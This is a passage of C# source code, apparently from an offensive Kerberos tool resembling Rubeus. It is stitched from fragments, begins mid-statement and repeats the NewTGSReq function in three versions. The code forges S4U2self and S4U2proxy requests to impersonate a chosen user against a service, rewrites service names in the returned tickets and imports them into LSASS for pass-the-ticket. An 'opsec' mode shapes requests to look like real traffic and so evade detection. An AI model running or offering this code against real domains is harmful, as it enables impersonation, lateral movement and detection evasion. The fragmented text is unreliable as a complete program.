(Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "") { TGS_REQ req = new TGS_REQ(); // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType); req.padata.Add(padata); // set the username req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = domain; // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain); req.padata.Add(s4upadata); req.req_body.sname.name_type = 1; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; } else { string[] parts = sname.Split('/'); if (parts.Length == 1) { // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); } else if (parts.Length == 2) { // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); } else if (parts.Length == 3) { // KRB_NT_SRV_HST = 3 // SPN (sname/server.domain.com/blah) req.req_body.sname.name_type = 3; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); req.req_body.sname.name_string.Add(parts[2]); } else { Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } } return(req.Encode().Encode()); }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false) { TGS_REQ req = new TGS_REQ(!opsec); if (!opsec) { // set the username req.req_body.cname.name_string.Add(userName); } // get domain from service for cross domain requests // if not requesting a cross domain TGT (krbtgt) string targetDomain = ""; string[] parts = sname.Split('/'); if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt")) { targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1); } else { targetDomain = domain; } // the realm (domain) the user exists in req.req_body.realm = targetDomain.ToUpper(); // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } // real traffic have these etypes except when requesting a TGT, then only else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt")) { req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; req.req_body.sname.name_string.Add(userName); if (!opsec) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; } if (opsec) { req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } } else { if (enterprise) { // KRB_NT-ENTERPRISE = 10 // userPrincipalName // sAMAccountName // sAMAccountName@DomainNetBIOSName // sAMAccountName@DomainFQDN // DomainNetBIOSName\sAMAccountName // DomainFQDN\sAMAccountName req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; req.req_body.sname.name_string.Add(sname); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; } else if (parts.Length == 1) { // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); } else if (parts.Length == 2) { // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); } else if (parts.Length == 3) { // KRB_NT_SRV_HST = 3 // SPN (sname/server.domain.com/blah) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); req.req_body.sname.name_string.Add(parts[2]); } else { Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); } } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } // needed for authenticator checksum byte[] cksum_Bytes = null; // opsec complete the request body before the creation of the AP-REQ if (opsec) { // set correct flags based on type of request req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; if (!unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; } if (unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED; } // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained)) { List <AuthorizationData> tmp = new List <AuthorizationData>(); AuthorizationData restrictions = new AuthorizationData(Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS); AuthorizationData kerbLocal = new AuthorizationData(Interop.AuthorizationDataType.KERB_LOCAL); tmp.Add(restrictions); tmp.Add(kerbLocal); AuthorizationData authorizationData = new AuthorizationData(tmp); byte[] authorizationDataBytes = authorizationData.Encode().Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(requestEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes); req.req_body.enc_authorization_data = new EncryptedData((Int32)requestEType, enc_authorization_data); } // S4U requests have a till time of 15 minutes in the future if (!String.IsNullOrEmpty(s4uUser)) { DateTime till = DateTime.Now; till = till.AddMinutes(15); req.req_body.till = till; } // encode req_body for authenticator cksum AsnElt req_Body_ASN = req.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes); req.padata.Add(padata); // moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when // forming opsec requests as they require a checksum of the request body within the authenticator and the // PADATA-TGS-REQ should go before the other PA-DATA sections if (opsec && (!String.IsNullOrEmpty(s4uUser))) { // real packets seem to lowercase the domain in these 2 PA_DATA's domain = domain.ToLower(); // PA_S4U_X509_USER commented out until we get the checksum working //PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce); //req.padata.Add(s4upadata); } // add final S4U PA-DATA if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain); req.padata.Add(s4upadata); } else if (opsec) { PA_DATA padataoptions = new PA_DATA(false, true, false, false); req.padata.Add(padataoptions); } return(req.Encode().Encode()); }
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "") { Console.WriteLine("[*] Action: S4U\r\n"); // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.EncryptedPart.ticket_info[0].pname.name_string[0]; string domain = kirbi.EncryptedPart.ticket_info[0].prealm; Ticket ticket = kirbi.Tickets[0]; byte[] clientKey = kirbi.EncryptedPart.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.EncryptedPart.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName); Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!string.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); Console.WriteLine((1 == altSnames.Length) ? "[*] Final ticket will be for the alternate service '{0}'" : "[*] Final tickets will be for the alternate services '{0}'", altService); } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser); Console.WriteLine("[*] Sending S4U2self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (null == response) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; switch (responseTag) { case 13: Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement); // TODO: ensure the cname contains the name of the user! otherwise s4u not supported Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(); PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[1]; s4u2proxyReq.req_body.sname.name_type = 2; // the sname s4u2proxyReq.req_body.sname.name_string.Add(parts[0]); // the server s4u2proxyReq.req_body.sname.name_string.Add(serverName); // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (null == response2) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn2 = AsnElt.Decode(response2, false); // check the response value int responseTag2 = responseAsn2.TagValue; switch (responseTag2) { case 13: Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn2); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 EncKDCRepPart encRepPart2 = new EncKDCRepPart( AsnElt.Decode( Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher), false) .FirstElement); KRB_CRED cred; KrbCredInfo info; byte[] kirbiBytes; if (!string.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.Tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.EncryptedPart.ticket_info.Add(info); kirbiBytes = cred.Encode().Encode(); Helpers.DisplayKerberosTicket(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes); } } return; } // now build the final KRB-CRED structure, no alternate snames cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!string.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.Tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.EncryptedPart.ticket_info.Add(info); kirbiBytes = cred.Encode().Encode(); Helpers.DisplayKerberosTicket(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes); } return; case 30: // parse the response to an KRB-ERROR Helpers.DisplayKerberosError(responseAsn); return; default: Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); return; } case 30: // parse the response to an KRB-ERROR Helpers.DisplayKerberosError(responseAsn); return; default: Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); return; } }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "") { TGS_REQ req = new TGS_REQ(); // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype); req.padata.Add(padata); // set the username req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = domain; // add in our encryption types req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain); req.padata.Add(s4upadata); req.req_body.sname.name_type = 1; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); //req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); } else { //// add in our encryption type //req.req_body.etypes.Add(etype); string[] parts = sname.Split('/'); PrincipalName principalName; switch (parts.Length) { case 1: principalName = req.req_body.sname; // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) principalName.name_type = 2; principalName.name_string.Add(sname); principalName.name_string.Add(domain); break; case 2: principalName = req.req_body.sname; // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) principalName.name_type = 2; principalName.name_string.Add(parts[0]); principalName.name_string.Add(parts[1]); break; default: Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); break; } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } } return(req.Encode().Encode()); }